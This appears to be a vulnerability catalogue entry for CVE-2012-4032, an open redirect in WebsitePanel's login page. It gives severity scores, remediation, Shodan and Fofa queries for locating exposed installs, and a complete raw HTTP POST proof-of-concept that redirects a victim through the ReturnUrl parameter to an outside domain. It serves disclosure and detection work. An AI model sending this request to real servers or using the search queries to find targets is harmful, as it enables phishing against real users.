| Title | WebsitePanel before v1.2.2.1 - Open Redirect |
|---|---|
| Author | ctflearner |
| Severity | Medium |
| Impact | An attacker can trick users into visiting a malicious website, leading to potential phishing attacks or further exploitation. |
| Remediation | Upgrade to WebsitePanel v1.2.2.1 or later to fix the open redirect vulnerability. |
| CVSS Score | 5.8 |
| EPSS Score | 0.13504 |
| CVE ID | CVE-2012-4032 |
| CWE ID | CWE-20 |
| Shodan Query | title:"WebsitePanel" html:"login"http.title:"websitepanel" html:"login" |
| Fofa Query | title="websitepanel" html:"login" |
| Tags | cve cve2012 packetstorm redirect websitepanel authenticated vuln |
Open redirect vulnerability in the login page in WebsitePanel before 1.2.2.1 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in ReturnUrl to Default.aspx
POST /Default.aspx?pid=Login&ReturnUrl=http%3A%2F%2Fwww.interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close
Content-Length: 215
Content-Type: application/x-www-form-urlencoded
Cookie: UserCulture=en-US; .WEBSITEPANELPORTALAUTHASPX=
Accept-Encoding: gzip
ctl03%24ctl01%24ctl00%24txtUsername=lHCLBS&ctl03%24ctl01%24ctl00%24txtPassword=RWxy6A&ctl03%24ctl01%24ctl00%24btnLogin=+++Sign+In+++&ctl03%24ctl01%24ctl00%24ddlLanguage=en-US&ctl03%24ctl01%24ctl00%24ddlTheme=Default
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2012/CVE-2012-4032.yaml
🦈 Packet Capture: ⬇️ Download cve-2012-4032.pcap
N/AN/A